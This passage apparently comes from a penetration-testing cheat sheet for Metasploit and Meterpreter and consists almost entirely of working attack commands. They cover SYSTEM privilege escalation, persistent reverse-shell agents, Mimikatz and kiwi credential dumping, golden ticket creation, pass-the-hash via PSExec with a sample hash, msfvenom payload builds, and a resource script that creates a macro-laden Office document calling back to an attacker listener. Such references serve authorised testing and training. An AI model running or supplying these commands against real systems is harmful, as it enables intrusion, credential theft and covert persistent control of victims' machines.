``` ### Get System ```powershell meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ``` ### Persistence Startup ```powershell OPTIONS: -A Automatically start a matching exploit/multi/handler to connect to the agent -L Location in target host to write payload to, if none %TEMP% will be used. -P Payload to use, default is windows/meterpreter/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i The interval in seconds between each connection attempt -p The port on which the system running Metasploit is listening -r The IP of the system running Metasploit listening for the connect back meterpreter > run persistence -U -p 4242 ``` ### Portforward ```powershell portfwd add -l 7777 -r 172.17.0.2 -p 3006 ``` ### Upload / Download ```powershell upload /path/in/hdd/payload.exe exploit.exe download /path/in/victim ``` ### Execute from Memory ```powershell execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w ``` ### Mimikatz ```powershell load mimikatz mimikatz_command -f version mimikatz_command -f samdump::hashes mimikatz_command -f sekurlsa::wdigest mimikatz_command -f sekurlsa::searchPasswords mimikatz_command -f sekurlsa::logonPasswords full ``` ```powershell load kiwi creds_all golden_ticket_create -d -k -s -u -t ``` ### Pass the Hash - PSExec ```powershell msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > exploit SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username SMBUser Lambda no The username to authenticate as ``` ## Scripting Metasploit Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`. Here is a simple example to script the deployment of a handler an create an Office doc with macro. ```powershell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 4646 set ExitOnSession false exploit -j -z use exploit/multi/fileformat/office_word_macro set PAYLOAD windows/meterpreter/reverse_https set LHOST 10.10.14.22 set LPORT 4646 exploit ``` ## Multiple transports ```powershell msfvenom -p windows/meterpreter_reverse_tcp lhost= lport= sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe ``` Then, in AddTransports.ps1 ```powershell Add-TcpTransport -lhost -lport -RetryWait 10 -RetryTotal 30 Add-WebTransport -Url http(s)://:/ -RetryWait 10 -RetryTotal 30 ``` ## Best of - Exploits * MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue` * MS08_67 - `exploit/windows/smb/ms08_067_netapi` ## References * [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/) * [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)
